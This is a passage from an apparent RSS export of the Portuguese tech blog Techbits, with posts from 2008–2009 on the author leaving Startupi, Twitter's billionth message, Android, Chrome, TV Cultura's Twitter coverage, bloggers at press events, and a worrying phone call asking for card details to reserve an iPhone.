<p>Para comprovar o bom andamento do blog outras coisas aconteceram. Fui convidado para ser juiz de uma <a id="ip9t" title="competição de startups da Unifacs" href="http://startupi.com.br/2009/como-foi-a-competicao-de-startups-da-unifacs/">competição de startups da Unifacs</a> em Salvador, BA. Estive lá com tudo pago pelos patrocinadores do evento. Também participei como juiz de uma das etapas da apuração do <a id="z6qs" title="Desafio Brasil 2009" href="http://desafio.ning.com/">Desafio Brasil 2009</a>, competição da FGV &#8211; escola da qual fui aluno, que está em andamento.</p>
<p>Como parte da repercussão do blog, o Startupi foi citado em algumas matérias da grande mídia como o Estadão, a Folha, a revista Isto É, além do Venture Beat um blog americano especializado em empreendedorismo. Claro, também já foi citado por muitos blog brasileiros o que demonstra que o trabalho estava sendo bem feito.</p>
<p>Um último item que mostra o sucesso que o blog tinha atingido foi o fato de eu ter sido convidado pelo <a id="tx9b" title="Bob Wollheim" href="http://twitter.com/bobwollheim">Bob Wollheim</a> para escrever uma coluna do Startupi na <a id="y:ih" title="ResultsON" href="http://www.resultson.com.br/">ResultsON</a>. Mas infelizmente acabei quebrando a mão nessa parceria pelos motivos que descreverei a seguir. O que seria uma grande honra precisa agora de muitas desculpas ao Bob e equipe.</p>
<h3>O fim</h3>
<p>Um belo dia &#8211; que na verdade tornou-se um péssimo dia &#8211; em uma reunião com o &#8220;staff&#8221; do Startupi fui avisado de que o blog não tinha mais um único centavo para investir. Bom, um dos motivos de eu ter pedido demissão do meu antigo emprego na Polvora! foi ter apostado e arriscado meu pescoço para criar um blog que teria um investidor por trás. Isso daria uma segurança financeira para mim enquanto fazia o blog atingir seus objetivos.</p>
<p>Não havia mais dinheiro para pagar o meu &#8220;fee&#8221; mensal, mas eu deveria continuar escrevendo no Startupi. Ok, eu era sócio do blog, deveria prever ficar um tempo sem rendimento, mas como todas as pessoas do mundo tenho que pagar o leitinho das crianças. <strong>Se fosse pra ficar sem receber nada por que diabos eu criaria um blog com sócios?</strong> E esse foi o meu aprendizado. Se você sabe fazer uma coisa muito bem &#8211; e entre outras coisas eu sei blogar &#8211; faça você mesmo para você. Foi assim com o Techbits, deveria ter ouvido aquele conselho de criar uma área de startups sozinho aqui.</p>
<h3>Low profile</h3>
<p>Essa história me deixou de certa forma revoltado com a internets, tanto  que resolvi ficar um bom tempo em &#8220;low profile&#8221; na grande rede. Deixei de ler meus e-mails, de acompanhar o tuíter, acabei quebrando a mão com um grande fabricante de eletrônicos e sua respectiva agência em um trabalho que seria bastante interessante.</p>
<p>Pessoas ficaram preocupadas, me mandaram e-mails, directs, sms e até tentaram me ligar. Ignorei a todos pois estava em uma fase de repensar a minha vida on line. Parei de ir a eventos ligados à tecnologia, parei de aparecer nos <a href="http://marcogomes.com/blog/2009/a-historia-do-nerdsonbeer-o-nob">#nobs</a> e outras coisas mais. Espero que ninguém tenha levado isso para o lado pessoal mas estava desestressando dos caminhos que segui e que se mostraram errados.</p>
<p>Nas últimas duas semanas conversei com algumas pessoas. Resolvi que já era tempo de sair do low profile. Agradeço a todas essas pessoas &#8211; elas sabem quem são &#8211; por terem me ouvido. Deixei de ser um holograma para voltar ao mundo dos bits.</p>
<h3>Whuffies</h3>
<p>Lembro até hoje <a id="fuo1" title="da apresentação" href="http://www.slideshare.net/crisdias/whufe-pagerank-e-as-novas-moedas-para-um-mundo-sem-morte-nem-escassez-presentation">da apresentação</a> que o <a id="xq16" title="Cris Dias" href="http://www.crisdias.com/">Cris Dias</a> fez no Intercon 2008 sobre um tal de <a id="qqwt" title="Whuffie" href="http://en.wikipedia.org/wiki/Whuffie">whuffie</a>. O termo, cunhado pelo <a id="w8kz" title="Cory Doctorow" href="http://craphound.com/">Cory Doctorow</a> do Boing Boing, finalmente explicava aquilo que todos nós tentávamos entender mas não conseguíamos traduzir em palavras. Nas mídias sociais o que importa são os whuffies, simples assim. O termo quer dizer capital social, nada a ver com o conceito contábil e sim o quanto de influência uma pessoa tem dentro das mídias sociais. Achei fantástico.</p>
<p>O Techbits me trouxe muitos whuffies. E isso se traduziu em muitas coisas boas nos últimos três anos. Mas <a id="th3c" title="como em um elemento radioativo" href="http://pt.wikipedia.org/wiki/Meia-vida">como em um elemento radioativo</a> a quantidade de whuffies decai com o tempo. E como disse no início deste parágrafo, foi o Techbits que me trouxe boa parte dos whuffies. Então preciso continuar o trabalho aqui para preservar e aumentar essa milhagem em capital social. E essa é minha promessa depois deste post. O Techbits está de volta! Ou você acha que eu iria me expor deste jeito pra não continuar mais?</p>
<p>Pra finalizar, desejo ao Startupi toda a sorte <a id="iyjh" title="pois se não vão ter competição do Techcrunch verdadeiro" href="http://info.abril.com.br/noticias/mercado/techcrunch-nao-vem-mais-ao-brasil-03092009-43.shl">pois se não vão ter competição do Techcrunch verdadeiro</a>, talvez tenham aqui do Techbits. Ainda bem que os whuffies são pessoais e intransferíveis.</p>
<p>(*) foto deste post é da <a id="tik2" title="matéria da Revista Época Negócios" href="http://epocanegocios.globo.com/Revista/Epocanegocios/0,,EDG79423-8382-8-4,00.html">matéria da Revista Época Negócios</a> da qual fui personagem.</p>
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		<title>Um bilhão de mensagens no Twitter?</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 11 Nov 2008 14:30:08 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[1 bilhão]]></category>
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					<description><![CDATA[<p>Na madrugada de 11 de Novembro de 2008, ao redor das 3h50 (hora de Brasília, ou 5h50 GMT), alguém mandou a bilionésima mensagem do Twitter desde sua abertura. Eu como bom geek, fiquei acordado até o momento da virada para ver se conseguia mandar a histórica mensagem. Não consegui, minha twittada foi de número 1 [&#8230;]</p>
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										<content:encoded><![CDATA[<p><img decoding="async" title="Twittada do bilhão" src="https://techbits.com.br/wp-content/uploads/img/ext/twittada-do-bilhao.png" alt="Twittada do bilhão" />Na madrugada de 11 de Novembro de 2008, ao redor das 3h50 (hora de Brasília, ou 5h50 GMT), alguém mandou a bilionésima mensagem do Twitter desde sua abertura. Eu como bom geek, fiquei acordado até o momento da virada para ver se conseguia mandar a histórica mensagem. Não consegui, minha twittada foi de número <a id="q058" title="1 bilhão cento e trinta e três" href="http://twitter.com/fugita/status/1000000133">1 bilhão cento e trinta e três</a>, notem o número na URL. Há <a id="sbsw" title="controvérsias" href="http://twitter.com/spiceee/status/1000037463">controvérsias</a>, claro, mas é só olhar o <a id="nxt_" title="public timeline do serviço" href="http://twitter.com/public_timeline">public timeline do serviço</a> que o assunto se esclarece.</p>
<h3>Twitter mainstream?</h3>
<p>O Twitter está cada vez mais <a id="ntey" title="chamando atenção" href="http://blog.twitter.com/2008/11/colbert-and-stewart-talkin-twitter.html">chamando atenção</a> . Nas eleições americanas <a id="boy3" title="foi fator importante" href="http://latimesblogs.latimes.com/webscout/2008/11/times-twitter-d.html">foi fator importante</a> na distribuição da informação entre eleitores tanto no dia do pleito quanto nos debates presidenciais que passaram na CNN.</p>
<p>Eventos que afetam muitas pessoas <a id="a0gm" title="como terremotos" href="http://mashable.com/2007/10/30/california-quake-twitter-first-take-cover-later/">como terremotos</a> costumam ter cobertura em tempo real de cidadãos comuns pela ferramenta. Sem falar de eventos de tecnologia na qual twitteiros estão presentes em massa e você consegue acompanhar os principais acontecimentos sem sair da frente do seu computador. <a id="dlcx" title="E as palestras nunca mais foram as mesmas" href="../twitter-ferramenta-de-flashmob/">E as palestras nunca mais foram as mesmas</a>&#8230;</p>
<h3>Comunicação assíncrona</h3>
<p>Uma das coisas mais interessantes do Twitter é o modo como funciona. À primeira vista parece idiota de tão simples. &#8220;Pra que alguém vai usar isso? Não faz sentido&#8230;&#8221;, é a reação da maioria das pessoas ao ser apresentado à forma mais revolucionária de comunicação dos últimos tempos. É exatamente essa simplicidade que é genial.</p>
<p>Já dizia o <a id="zkuf" title="Pedro Markun" href="http://blog.markun.com.br/">Pedro Markun</a> que o fato da comunicação ser assíncrona traz várias vantagens à ferramenta. Primeiro, ao contrário de muitas redes sociais, no Twitter você não está ligado a quem está ligado a você, ou seja, se essa outra pessoa for seu contato você não necessariamente é contato dela. Pode acontecer de ambos escolherem ser amigos mútuos. Só isso já é suficiente para barrar boa parte do ruído, um dos elementos que faz parte <a id="q0re" title="daquele desenho do que é comunicação entre dois pontos" href="http://en.wikipedia.org/wiki/Shannon_and_Weaver%27s_model">daquele desenho do que é comunicação entre dois pontos</a>.</p>
<p>Diferentemente do IM (Gtalk, MSN) não é necessário que as ponta que recebe a mensagem esteja conectada ao mesmo tempo que o emissor. As mensagens são jogadas e você as vê na hora que puder. Toda essa aparente desorganização é que faz da ferramenta algo poderoso de tal forma que o exército americano andou produzindo relatórios sobre a possibilidade de grupos terroristas usarem o Twitter <a id="hfjf" title="para coordenar ataques" href="http://news.cnet.com/8301-1009_3-10075487-83.html">para coordenar ataques</a>.</p>
<h3>Memes, virais, etc&#8230;</h3>
<p>Muita gente percebeu esse poder e está usando a seu favor para divulgar informações na esperança de que se propaguem automaticamente nos canais sociais. Mais ou menos como no conceito de meme. Um bom exemplo disso foi o recente &#8220;<a id="wvh3" title="Boa tarde Sr. Edney" href="http://www.interney.net/?p=9763100">Boa tarde Sr. Edney</a>&#8221; no qual as pessoas pediram coisas para o Interney de forma bem humorada. Outro exemplo, agora falando da minha pessoa, foram as mensagens divertidas <a id="kz8v" title="especulando sobre meu novo trabalho" href="http://search.twitter.com/search?q=fugitaenriqueceu">especulando sobre meu novo trabalho</a>.</p>
<p>Se teve ou não a bilionésima mensagem, não sabemos ao certo por não ter ocorrido um comunicado oficial. Mas especulação correu solta nos cantos obscuros e geeks da web. Vejam alguns links pra finalizar:</p>
<ul>
<li><a id="v87u" title="Billionth tweet on twitter" href="http://s3.amazonaws.com/bk_store/images/photo_object/photos/1/4/1465236/b.png">Billionth tweet on twitter</a></li>
<li><a id="hakk" title="Mensagem número 1 bilhão e um" href="http://twitter.com/CrystalLake/status/1000000001">Mensagem número 1 bilhão e um</a></li>
<li><a id="an-b" title="Mensagem número 1 bilhão menos 1" href="http://twitter.com/folkhero/status/999999999">Mensagem número 1 bilhão menos 1</a></li>
</ul>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/um-bilhao-de-mensagens-no-twitter/">Um bilhão de mensagens no Twitter?</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>A importância do Android</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Fri, 24 Oct 2008 22:57:57 +0000</pubDate>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[android]]></category>
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		<category><![CDATA[iphone]]></category>
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					<description><![CDATA[<p>Essa semana o tal do G1, da HTC, o primeiro smartphone rodando Android finalmente foi lançado. Esse produto não carrega o mesmo grau de hype que o iPhone teve quando chegou às lojas com malucos pessoas formando filas dias antes do lançamento. Também não tem a interface inovadora do celular da maçã que assombrou o [&#8230;]</p>
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										<content:encoded><![CDATA[<p><img loading="lazy" decoding="async" width="250" height="151" class="alignnone size-full wp-image-416" title="android" src="https://techbits.com.br/wp-content/uploads/img/ext/android.png" alt="Android" />Essa semana o tal do G1, da HTC, o primeiro smartphone rodando Android finalmente foi lançado. Esse produto não carrega o mesmo grau de hype que o iPhone teve quando chegou às lojas com <span style="text-decoration: line-through;">malucos</span> pessoas <a href="http://abcnews.go.com/Technology/story?id=3320864&amp;page=1">formando filas</a> dias antes do lançamento. Também não tem a interface inovadora do celular da maçã que <a href="../iphone-uau/">assombrou o mundo</a> quando foi demonstrado na Mac World. Mas carrega alguns grandes diferenciais.</p>
<h3>Desenvolvimento</h3>
<p>Primeiro, o <a href="http://futuro.vc/2008/08/29/android-market-e-a-app-store-do-google/">Android Market</a> não é restritivo como a loja da Apple. No caso da maçã, todo aplicativo corre o risco de não ser aceito devido a fatores ignorados. Pode acontecer de você criar algo extraordinário como um Napster, <a href="http://apple20.blogs.fortune.cnn.com/2008/09/14/iphone-big-trouble-in-the-app-store/">e ser colocado no ostracismo</a>. No caso da loja do Google, não existe esse embaraço, desenvolveu, aparece lá.</p>
<p>Alguns podem dizer que isso vai trazer toda uma leva de softwares ruins&#8230; etc&#8230; sim, com certeza, mas só de ter a garantia que seu software terá uma chance à luz do dia, garante mais gente interessada e essa massacrítica deve levar a grandes criações. Ou não. Mas muito melhor que um sistema mais fechado como o modelo seguido pela Apple.</p>
<h3>A nuvem na mão</h3>
<p>A integração com serviços disponíveis na nuvem é outro ponto chave. Engraçado como aqui o conceito do Google em relação aos aplicativos fica muito parecido com o <a href="http://blogs.msdn.com/stevecla01/archive/2008/09/22/explaining-software-plus-services.aspx">Software + Services</a> que a Microsoft vem pregando para o mundo do desktop.</p>
<p>Alterou algo no calendário? Já está sincronizado com a versão online. Quer mandar email? A nuvem e o Android se entendem muito bem. Documentos? Não estão nem na sua casa e nem no escritório. Estão em algum servidor na internet.</p>
<h3>Mashups sociais</h3>
<p>Como decorrência de ter integração com a nuvem, softwares interessantes com conceitos de mashup podem surgir. Um bom exemplo é o <a href="http://www.android.com/market/#app=isafe">iSafe</a>, no qual você pode demarcar coisas em um mapa e compartilhar com a multidão. A grande diferença é poder fazer isso usando o GPS e &#8220;inloco ao invés de depender de um desktop como a maioria dos mashups.</p>
<p>Ou ainda softwares que baseiem seu comportamento dependendo da posição geográfica que o smartphone se encontra como o <a href="http://www.android.com/market/#app=locale">Locale</a>. Coisas fantásticas surgirão. Daí você vai dizer que tudo isso também é possível no iPhone. Só se a Apple deixar.</p>
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		<title>Escassez com abundância</title>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 30 Sep 2008 13:57:23 +0000</pubDate>
				<category><![CDATA[blog]]></category>
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		<category><![CDATA[tv]]></category>
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					<description><![CDATA[<p>TV engorda. Mas não é sobre isso que vou falar neste post. Participei ontem (29/09) do Roda Viva, na TV Cultura, na condição de twitteiro convidado. A sabatina era com o Wagner Moura, grande ator, que está em cartaz na peça Hamlet em São Paulo. Mas também não estou aqui para falar disso! A grande [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" title="Wagner Moura" src="https://techbits.com.br/wp-content/uploads/img/ext/wagnermoura.jpg" alt="Wagner Moura" /><a id="sbrd" title="TV engorda" href="http://twitter.com/tucahernandes/statuses/939991149">TV engorda</a>. Mas não é sobre isso que vou falar neste post. Participei ontem (29/09) do Roda Viva, na TV Cultura, na condição de twitteiro convidado. A sabatina era com o Wagner Moura, grande ator, que está em cartaz na peça Hamlet em São Paulo. Mas também não estou aqui para falar disso! A grande questão é notar como dois conceitos antagônicos podem ser usadas ao mesmo tempo: abundância vs. escassez, um dos fundamentos da internet vs. velhas mídias. </p>
<p>A TV é um meio restritivo. Só existem 24 horas na grade de programação. É preciso alocar esse tempo escasso para tudo o que uma emissora quer passar. Um programa só exibe uma câmera por vez, dá atenção a apenas uma coisa em determinado instante. <a id="n0wa" title="A TV é diametralmente oposta ao YouTube" href="https://techbits.com.br/tv-e-youtube-diametralmente-opostos/">A TV é diametralmente oposta ao YouTube</a>.</p>
<p><a id="h0hv" title="O que a TV Cultura vem fazendo no Roda Viva" href="http://200.136.27.11/rodaviva/">O que a TV Cultura vem fazendo no Roda Viva</a> é experimento realmente fantástico. Mistura o poder da TV com o poder da distribuição por um canal quase sem escassez. Ao mesmo tempo que transmite na sua freqüência concedida, algo caro e complicado de se fazer, tem o streaming pela internet. O mais interessante de tudo é que broadcast na forma de bits <a id="o8sr" title="não pára nem nos intervalos comerciais" href="http://www.tiagodoria.ig.com.br/2008/09/23/tv-cultura-faz-1%C2%AA-transmissao-experimental-participativa/">não pára nem nos intervalos comerciais</a>.</p>
<p>Fora isso, claro, chamaram alguns twitters para cobrir o programa ao vivo. Desta vez fomos eu (<a id="cac4" title="@fugita" href="http://twitter.com/fugita">@fugita</a>), por causa do <a id="la06" title="CinemaLido" href="http://www.cinemalido.com.br/">CinemaLido</a>, a Verônica Mambrini (<a id="y5v_" title="@vmambrini" href="http://twitter.com/vmambrini">@vmambrini</a>), do <a id="iamx" title="Digestivo Cultural" href="http://www.digestivocultural.com/">Digestivo Cultural&gt;</a> e a Larissa Menon (<a id="kal1" title="@cinezine" href="http://twitter.com/cinezine">@cinezine</a>), do <a id="o6d2" title="Cinezine" href="http://cinezine.com.br/">Cinezine</a>, além do Paulo Fehlauer (<a id="f.dn" title="@fehlauer" href="http://twitter.com/fehlauer">@fehlauer</a>), do <a id="gz1g" title="Na Rua" href="http://narua.org/new/">Na Rua</a>, que fez a <a id="fz11" title="cobertura fotográfica no Flickr" href="http://flickr.com/photos/streetlife/sets/72157607584864132/">cobertura fotográfica no Flickr</a>. E todos interagindo em tempo real com os usuários do twitter. Totalmente multimídia.</p>
<p>Como alguns devem saber, a Rede Cultura mantém outras iniciativas na web muito interessantes. Uma delas é o <a id="au0l" title="Radar Cultura" href="http://www.radarcultura.com.br/">Radar Cultura</a>, sistema que <a id="bgih" title="com ajuda da multidão" href="http://www.expressaodeideias.com.br/radar-cultura-am-finalmente-um-projeto-20-de-verdade">com ajuda da multidão</a>, decide que música será tocada no dial. Muito bom saber que uma empresa estatal é antenada em tecnologias inovadoras.</p>
<h4>Veja mais:</h4>
<ul>
<li><a id="t0yq" title="Perfil dos Twitters presentes no programa" href="http://www.radarcultura.com.br/node/26233">Perfil dos Twitters presentes no programa</a>, via TV Cultura</li>
<li><a id="vzht" title="Alegria, Alegria: Roda Viva em nova fase" href="http://www.ladybugbrazil.com/2008/09/29/alegria-alegria-roda-viva-em-nova-fase/">Alegria, Alegria: Roda Viva em nova fase</a>, via LadybugBrazil</li>
<li><a id="fmg5" title="TV Cultura faz 1ª transmissão experimental participativa" href="http://www.tiagodoria.ig.com.br/2008/09/23/tv-cultura-faz-1%C2%AA-transmissao-experimental-participativa/">TV Cultura faz 1ª transmissão experimental participativa</a>, via Tiago Dória Weblog</li>
<li><a href="http://boombust.hitechlive.com.br/transmissao-experimental-participativa-e-a-nova-vedete-da-cultura/">Transmissão experimental participativa é a nova vedete da Cultura</a>, via Boombust</li>
<li><a href="http://flickr.com/photos/ayfugita/sets/72157607597034696/">Minhas fotos no Flickr</a></li>
</ul>
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		<title>O sistema operacional é um acessório do Chrome</title>
		<link>https://techbits.com.br/2008/o-sistema-operacional-e-um-acessorio-do-chrome/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Tue, 09 Sep 2008 15:37:21 +0000</pubDate>
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		<category><![CDATA[google]]></category>
		<category><![CDATA[navegador]]></category>
		<category><![CDATA[sistema-operacional]]></category>
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					<description><![CDATA[<p>Já escrevi um texto com título muito parecido, só substituí o Firefox pelo Chrome desta vez e o PC pelo S.O. A mensagem é clara. Toda aquela história de que a computação na nuvem é o &#8220;the next big thing&#8221; está se tornando realidade. O movimento da Google na semana passada ao anunciar o navegador Chrome só me dá mais certeza de que [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p id="ur33"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-392" title="speed-limit-google" src="https://techbits.com.br/wp-content/uploads/img/ext/speed-limit-google.png" alt="" width="174" height="288" /><a href="https://techbits.com.br/o-pc-e-um-acessorio-do-firefox/">Já escrevi um texto com título muito parecido</a>, só substituí o Firefox pelo Chrome desta vez e o PC pelo S.O. A mensagem é clara. Toda aquela história de que a computação na nuvem é o &#8220;the next big thing&#8221; está se tornando realidade. O movimento da Google na semana passada ao anunciar o navegador Chrome só me dá mais certeza de que tudo o que vamos precisar é a janela do browser. Só isso. O hardware, o sistema operacional por trás, tudo será um acessório.</p>
<p id="ur332">O Chrome &#8211; farei uma análise dele e do IE8 no <a id="ps2c" title="TechbitsReview.com.br" href="http://techbitsreview.com.br/">TechbitsReview.com.br</a> em breve &#8211; está para o Windows 98 assim como os outros navegadores estão para o Windows 3.1. Explico. Antigamente um crash em um software causava problemas em todo o sistema operacional. Nos browsers anteriores ao Chrome um crash em uma aba fechava todo o navegador. Acho que foi depois do Win98 que as coisas mudaram. Processos separados passaram a cuidar de cada programa aberto.</p>
<p id="ur334">Surpreendentemente é assim com o Chrome e IE8. Ambos apresentam processos separados para cada aba. Um site se comportou mal? Só aquela aba fica comprometida. O resto continua rodando tranqüilo. Essa simples mudança é comparável a quando os sistemas operacionais passaram pelo mesmo processo, uma evolução na plataforma que a tornou mais estável. Então oChrome <a id="w931" title="é o tal do Google OS" href="http://www.readwriteweb.com/archives/googleos_what_to_expect.php">é o tal do Google OS</a> ? Mais ou menos isso&#8230;</p>
<h3 id="f38e">Android e a estratégia Google</h3>
<p id="ur337">Agora tudo faz mais sentido. <a id="qikb" title="A Google está para lançar o Android, seu sistema operacional móvel" href="http://code.google.com/android/">A Google está para lançar o Android, seu sistema operacional móvel</a>. Lá os serviços serão baseados na nuvem com apoio de aplicações &#8220;normais&#8221;. Todos nós já usamos vários serviços da gigante de Montain View, todos baseados na nuvem. Ontem mesmo me surpreendi com alguém falando do Google Earth&#8230; faz tempo que nem abro esse software pois o Maps (webapp) está tão bom que supre minhas necessidades.</p>
<p id="ur338">O Chrome encaixa-se perfeitamente neste cenário. Ao introduzir um engine novo para javascript, <a id="c6pz" title="o tal do V8" href="http://code.google.com/apis/v8/intro.html">o tal do V8</a>, fez isso com o diferencial correto: velocidade. A grande reclamação dos webapps é que a resposta a um comando é lenta. Com o V8 fica tudo mais rápido, aproximando a responsividade de um aplicativo web ajax ao seu similar desktop.</p>
<p id="xckw">O Google que já domina a web expande-se agora para transformar o sistema operacional em <a id="dvx6" title="commodity" href="http://pt.wikipedia.org/wiki/Commodity">commodity</a>. Eu sei, precisaremos de um sistema operacional para rodar o Chrome. Mas qual deles? <strong>Tanto faz&#8230;</strong> quero dizer&#8230; quando lançarem versões para linux e mac, tanto faz&#8230; ou seja, neste ponto o S.O. será uma verdadeira commodity na qual rodamos os webapps, tanto da Google quanto de outros fornecedores.</p>
<p id="nsuk"><a id="lc1u" title="O PC morreu?" href="http://www.solonbro.com/2006/08/25/mataram-o-pc-de-novo/">O PC morreu?</a> Não sei&#8230; mas está quase lá&#8230;</p>
<h4>Leia também:</h4>
<ul id="v0o_1">
<li id="v0o_2"><a id="txuq" title="Google Chrome OS" href="http://ptnik.blogspot.com/2008/09/google-chrome-os.html">Google Chrome OS</a>, via Aberto até de Madrugada</li>
<li id="y7in"><a id="qtz5" title="Mozilla: Web apps faster with Firefox 3.1" href="http://news.cnet.com/8301-1001_3-10023723-92.html">Mozilla: Web apps faster with Firefox 3.1</a>, via Cnet Business Tech</li>
</ul>
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		<title>Sinal dos tempos</title>
		<link>https://techbits.com.br/2008/sinal-dos-tempos/</link>
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		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 04 Sep 2008 14:55:09 +0000</pubDate>
				<category><![CDATA[blog]]></category>
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		<category><![CDATA[blogs]]></category>
		<category><![CDATA[datasul]]></category>
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		<category><![CDATA[mídia social]]></category>
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					<description><![CDATA[<p>Esta semana fui a uma coletiva de imprensa da Google. Já fui a muitas coletivas de imprensa, mas foi a primeira vez vi tantos blogueiros misturados a jornalistas, lado a lado. Na semana retrasada o CEO da Datasul também convidou blogueiros para um bate-papo durante um evento da empresa. E a Microsoft tem um relacionamento [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p id="z:-."><img decoding="async" src="https://techbits.com.br/wp-content/uploads/img/ext/multidao.png" alt="Multidão" />Esta semana fui a uma coletiva de imprensa da Google. Já fui a muitas coletivas de imprensa, mas foi a primeira vez vi <a href="http://twitter.com/fugita/statuses/907068571">tantos blogueiros misturados a jornalistas</a>, lado a lado. Na semana retrasada o CEO da Datasul também convidou blogueiros para um bate-papo durante um evento da empresa. E a Microsoft tem um relacionamento estreito com os maiores blogs de tecnologia do país a ponto de mostrar em primeira mão &#8211; com o devido <a id="zk.n" title="n.d.a." href="http://en.wikipedia.org/wiki/Non-disclosure_agreement">n.d.a.</a> &#8211; funcionalidades do seu novo navegador que só seriam divulgadas no dia seguinte.</p>
<p>É interessante notar essa mudança de postura das empresas frente ao que chamamos de <a id="g8qr" title="mídias sociais" href="http://midiasocial.wordpress.com/">mídias sociais</a>. Apesar de acontecerem <a id="i3re" title="alguns absurdos" href="http://msoma.wordpress.com/2008/02/25/o-inesperado-aconteceu-no-campus-party/">alguns absurdos</a>, os tempos são outros.</p>
<p id="z:-.3">Vamos pegar o exemplo do Google. Muitos blogueiros estavam presentes para o anúncio do <a id="z4mz" title="Google Chrome" href="http://www.google.com/chrome">Google Chrome</a>, notícia que havia <a id="zjeg" title="vazado" href="http://googlediscovery.com/2008/09/01/google-chrome-e-confirmado-pelo-google-lancamento-oficial-nesta-terca-feira/">vazado</a> na própria blogosfera no dia anterior. Os blogs fizeram perguntas pertinentes e o pessoal do Google sabia o nome de cada um dos blogueiros. Ótimo!</p>
<p id="z:-.6">A Datasul também fez seu encontro com blogueiros. E chamou o CEO para falar conosco. O bate-papo está <a id="k71w" title="disponível em podcast" href="http://www.infopod.com.br/eventos/infopod-09-entrevista-com-jorge-steffens-ceo-da-datasul/">disponível em podcast</a> no blog do Jonny Ken, Infopod e também <a id="gt1l" title="descrito em detalhes interessantes" href="http://www.infowester.com/blog/?p=741">descrito em detalhes interessantes</a> pelo Infowester, do Emerson Alecrim. O próprio Jorge Steffens deu suas impressões em <a id="rkuh" title="um texto em seu próprio blog" href="http://datasul.socialmediaclub.com.br/como-foi-o-planeta-datasul/">um texto em seu blog</a>. Vai aqui um &#8220;full disclosure&#8221;: trabalho na Polvora!, empresa que cuida da comunicação em mídias sociais da Datasul.</p>
<p id="z:-.10">No caso da gigante de Redmond, o Galileu Vieira, gerente de novas tecnologias da Microsoft, tem feito um trabalho fantástico com blogs de tecnologia. Sempre que precisamos podemos contar com ele lá dentro para nos esclarecer dúvidas. Além disso recebemos sempre convites para eventos e encontros de blogueiros na sede deles aqui de São Paulo. <a id="s38t" title="Desta vez nos mostraram o IE8 e suas novas funcionalidades" href="http://www.infopod.com.br/review/internet-explorer-8-beta-2-veja-15-novidades-interessantes/">Desta vez nos mostraram o IE8 e suas novas funcionalidades</a>.</p>
<p id="z:-.12">Pra finalizar, já que falamos de Google e Microsoft, por que não falar de Apple? Essa semana o Cardoso do <a id="taf1" title="Meio Bit" href="http://meiobit.pop.com.br/destaque/steve-wozniak-primeiras-impress-es-sim-ele-e-deus-mas-no-bom">Meio Bit</a>, o Nick Ellis do <a id="nkqh" title="Digital Drops" href="http://digitaldrops.com.br/drops/2008/09/um-encontro-com-o-mestre-steve-wozniak.html">Digital Drops</a> e o Filipe Alvarenga do <a id="c75w" title="Macmagazine" href="http://macmagazine.com.br/blog/2008/09/02/macmagazine-no-gestao-do-futuro-com-steve-wozniak/">Macmagazine</a> foram para Belo Horizonte conhecer e bater um papo com o Woz, um dos fundadores da Apple. Sinal dos tempos!</p>
<p>O post <a rel="nofollow" href="https://techbits.com.br/2008/sinal-dos-tempos/">Sinal dos tempos</a> apareceu primeiro em <a rel="nofollow" href="https://techbits.com.br">Techbits</a>.</p>
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		<title>Claro, que genial!</title>
		<link>https://techbits.com.br/2008/claro-iphone-3g/</link>
					<comments>https://techbits.com.br/2008/claro-iphone-3g/#comments</comments>
		
		<dc:creator><![CDATA[Alexandre Fugita]]></dc:creator>
		<pubDate>Thu, 28 Aug 2008 15:12:12 +0000</pubDate>
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		<category><![CDATA[3g]]></category>
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		<category><![CDATA[segurança]]></category>
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					<description><![CDATA[<p>Como todo mundo nesse Brasil também quero um iPhone 3G. Tanto que me inscrevi no site da Claro para ser avisado das novidades do lançamento pela operadora. Hoje pela manhã recebi uma ligação de um suposto consultor da Claro falando que poderia reservar o objeto de desejo por 100 reais. Até aí, ok, sem problemas. [&#8230;]</p>
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]]></description>
										<content:encoded><![CDATA[<p id="uepj"><img decoding="async" title="claro-iphone-3g" src="https://techbits.com.br/wp-content/uploads/img/claro-iphone-3g.jpg" alt="Claro iPhone 3G" />Como todo mundo nesse Brasil também quero um iPhone 3G. Tanto que me inscrevi no site da Claro para ser avisado das novidades do lançamento pela operadora. Hoje pela manhã recebi uma ligação de um suposto consultor da Claro falando que poderia <a id="w_oa" title="reservar o objeto de desejo por 100 reais" href="http://www.bernabauer.com/reserva-para-iphone-da-claro-sai-por-r100/">reservar o objeto de desejo por 100 reais</a>. Até aí, ok, sem problemas. Podemos considerar isso comum para algo que certamente terá demanda elevada.</p>
<p id="uepj0">A conversa continuou e fui informado que só poderia fazer isso por telefone, naquela ligação e teria que passar o meu cartão de crédito para o vendedor. Como? Sim, isso mesmo. Um cara me liga e pede meu cartão de crédito. De imediato neguei a reserva. Não passo nem o nome do meu cachorro por telefone!</p>
<p id="uepj1">Concordo que fui eu quem passou as informações de contato para a Claro, ou seja, devo ter concordado em alguma letra minúscula que receberia essa oferta via ligação. Mas considero isso uma falha de segurança incrível.</p>
<p id="uepj2">E se alguém mal intencionado resolve ligar aleatoriamente para pessoas dizendo ser da Claro e que para a reserva precisa do cartão de crédito? Não ficaria espantado se muita gente concordasse tamanho o poder de persuasão dos bandidos. Vai ter até gente comprando 100 reais de crédito para pré-pago Claro e passando isso por telefone&#8230; <a id="oob-" title="Não acredita?" href="http://portal.rpc.com.br/gazetadopovo/parana/conteudo.phtml?tl=1&amp;id=699473&amp;tit=">Não acredita?</a></p>
<h3 id="uepj3">Lição de casa</h3>
